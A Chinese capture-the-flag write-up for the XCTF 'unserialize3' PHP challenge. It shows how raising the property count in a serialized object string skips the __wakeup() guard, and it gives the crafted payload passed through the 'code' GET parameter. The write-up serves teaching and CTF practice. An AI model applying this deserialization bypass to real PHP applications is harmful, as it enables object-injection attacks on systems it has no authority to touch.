125,【1】攻防世界unserialize3
进入靶场
代码
<?php
// 定义一个名为 xctf 的类
class xctf {
// 定义一个公共属性 $flag,初始值为字符串 '111'
public $flag = '111';
// 定义 __wakeup() 魔术方法
// 当使用 unserialize() 函数反序列化对象时,会自动调用 __wakeup() 方法
// 在这个方法中,使用 exit('bad requests'); 语句直接终止脚本执行并输出 'bad requests'
public function __wakeup() {
exit('bad requests');
}
}
?>
并提示我们通过?code提交
代码表明会进行反序列化,所以我们要进行序列化,但不能调用_wakeup()方法
原理(本题主要知识点):在反序列化过程中,会根据属性个数的情况来决定是否调用
__wakeup()
方法。
现在我们进行序列化
注意:在 PHP 里,当使用
serialize()
函数对一个对象进行操作时,序列化的是整个对象实例,这包含了对象的所有属性以及类的定义信息 ,所以就这个题而言,我们序列化的不只是 flag 属性的值,我们要序列化它给出来的所有代码,整个 xctf类
也就是说只需要在题目给出的代码中加三句用于实现序列化的语句并输出即可,语句中调用serialize()函数,整和后如下
<?php
class xctf {
public $flag = '111';
public function __wakeup() {
exit('bad requests');
}
}
$obj = new xctf();
$serialized = serialize($obj);
echo $serialized;
?>
运行结果
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
此时我们需要修改属性个数,就需要了解这串序列化字符串中的各个部分代表什么,如下
O
表示这是一个对象(Object)。4
代表类名xctf
的长度。1
表示对象的属性个数。s:4:"flag";s:3:"111";
说明有一个名为flag
的字符串(s
表示字符串)属性,其值为长度为 3 的字符串"111"
。
修改1,改为比一大的数字即可
我改为6了,各位随意
O:4:"xctf":6:{s:4:"flag";s:3:"111";}
最后通过get方式传参,传给code
得到flag